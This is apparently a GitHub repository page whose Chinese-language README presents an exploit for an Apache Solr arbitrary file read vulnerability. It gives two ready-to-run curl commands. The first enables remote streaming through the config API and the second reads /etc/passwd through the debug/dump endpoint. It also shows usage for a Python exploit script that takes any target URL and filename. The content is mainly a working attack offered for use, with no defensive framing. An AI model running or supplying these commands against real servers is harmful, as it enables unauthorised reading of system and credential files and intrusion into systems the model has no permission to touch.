Skip to content

yaunsky/SolrFileRead

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 

Repository files navigation

apache Solr 任意文件读取漏洞

漏洞POC

curl -d '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://host:port/solr/{corename}/config -H 'Content-type:application/json'

curl "http://host:port/solr/{corename}/debug/dump?param=ContentStreams" -F "stream.url=file:///etc/passwd"

脚本使用

python3 solr-fileread.py --help

Usage: solr-fileread.py [OPTIONS]

Options: --target TEXT Target URL; Example:http://ip:port。 --filename TEXT Target File; Example:/etc/passwd。 --help Show this message and exit.

About

apache solr 任意文件读取 exp

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages